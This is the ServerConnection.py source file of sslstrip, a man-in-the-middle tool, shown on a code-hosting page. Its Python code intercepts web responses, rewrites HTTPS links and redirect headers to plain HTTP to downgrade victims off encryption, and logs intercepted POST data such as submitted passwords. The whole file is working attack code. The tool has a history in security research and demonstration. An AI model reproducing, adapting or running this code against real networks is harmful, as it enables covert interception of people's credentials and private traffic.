Path: blob/master/sslstrip-work-2019/sslstrip/ServerConnection.py
1306 views
# Copyright (c) 2004-2009 Moxie Marlinspike1#2# This program is free software; you can redistribute it and/or3# modify it under the terms of the GNU General Public License as4# published by the Free Software Foundation; either version 3 of the5# License, or (at your option) any later version.6#7# This program is distributed in the hope that it will be useful, but8# WITHOUT ANY WARRANTY; without even the implied warranty of9# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU10# General Public License for more details.11#12# You should have received a copy of the GNU General Public License13# along with this program; if not, write to the Free Software14# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-130715# USA16#1718import logging, re, string, random, zlib, gzip, StringIO1920from twisted.web.http import HTTPClient21from URLMonitor import URLMonitor2223class ServerConnection(HTTPClient):2425''' The server connection is where we do the bulk of the stripping. Everything that26comes back is examined. The headers we dont like are removed, and the links are stripped27from HTTPS to HTTP.28'''2930urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)31urlType = re.compile(r"https://", re.IGNORECASE)32urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)3334def __init__(self, command, uri, postData, headers, client):35self.command = command36self.uri = uri37self.postData = postData38self.headers = headers39self.client = client40self.urlMonitor = URLMonitor.getInstance()41self.isImageRequest = False42self.isCompressed = False43self.contentLength = None44self.shutdownComplete = False4546def getLogLevel(self):47return logging.DEBUG4849def getPostPrefix(self):50return "POST"5152def sendRequest(self):53logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri))54self.sendCommand(self.command, self.uri)5556def sendHeaders(self):57for header, value in self.headers.items():58logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))59self.sendHeader(header, value)6061self.endHeaders()6263def sendPostData(self):64logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))65self.transport.write(self.postData)6667def connectionMade(self):68logging.log(self.getLogLevel(), "HTTP connection made.")69self.sendRequest()70self.sendHeaders()7172if (self.command == 'POST'):73self.sendPostData()7475def handleStatus(self, version, code, message):76logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))77self.client.setResponseCode(int(code), message)7879def handleHeader(self, key, value):80logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value))8182if (key.lower() == 'location'):83value = self.replaceSecureLinks(value)8485if (key.lower() == 'content-type'):86if (value.find('image') != -1):87self.isImageRequest = True88logging.debug("Response is image content, not scanning...")8990if (key.lower() == 'content-encoding'):91if (value.find('gzip') != -1):92logging.debug("Response is compressed...")93self.isCompressed = True94elif (key.lower() == 'content-length'):95self.contentLength = value96elif (key.lower() == 'set-cookie'):97self.client.responseHeaders.addRawHeader(key, value)98else:99self.client.setHeader(key, value)100101def handleEndHeaders(self):102if (self.isImageRequest and self.contentLength != None):103self.client.setHeader("Content-Length", self.contentLength)104105if self.length == 0:106self.shutdown()107108def handleResponsePart(self, data):109if (self.isImageRequest):110self.client.write(data)111else:112HTTPClient.handleResponsePart(self, data)113114def handleResponseEnd(self):115if (self.isImageRequest):116self.shutdown()117else:118HTTPClient.handleResponseEnd(self)119120def handleResponse(self, data):121if (self.isCompressed):122logging.debug("Decompressing content...")123data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()124125logging.log(self.getLogLevel(), "Read from server:\n" + data)126127data = self.replaceSecureLinks(data)128129if (self.contentLength != None):130self.client.setHeader('Content-Length', len(data))131132self.client.write(data)133self.shutdown()134135def replaceSecureLinks(self, data):136iterator = re.finditer(ServerConnection.urlExpression, data)137138for match in iterator:139url = match.group()140141logging.debug("Found secure reference: " + url)142143url = url.replace('https://', 'http://', 1)144url = url.replace('&', '&')145self.urlMonitor.addSecureLink(self.client.getClientIP(), url)146147data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)148return re.sub(ServerConnection.urlType, 'http://', data)149150def shutdown(self):151if not self.shutdownComplete:152self.shutdownComplete = True153self.client.finish()154self.transport.loseConnection()155156157158159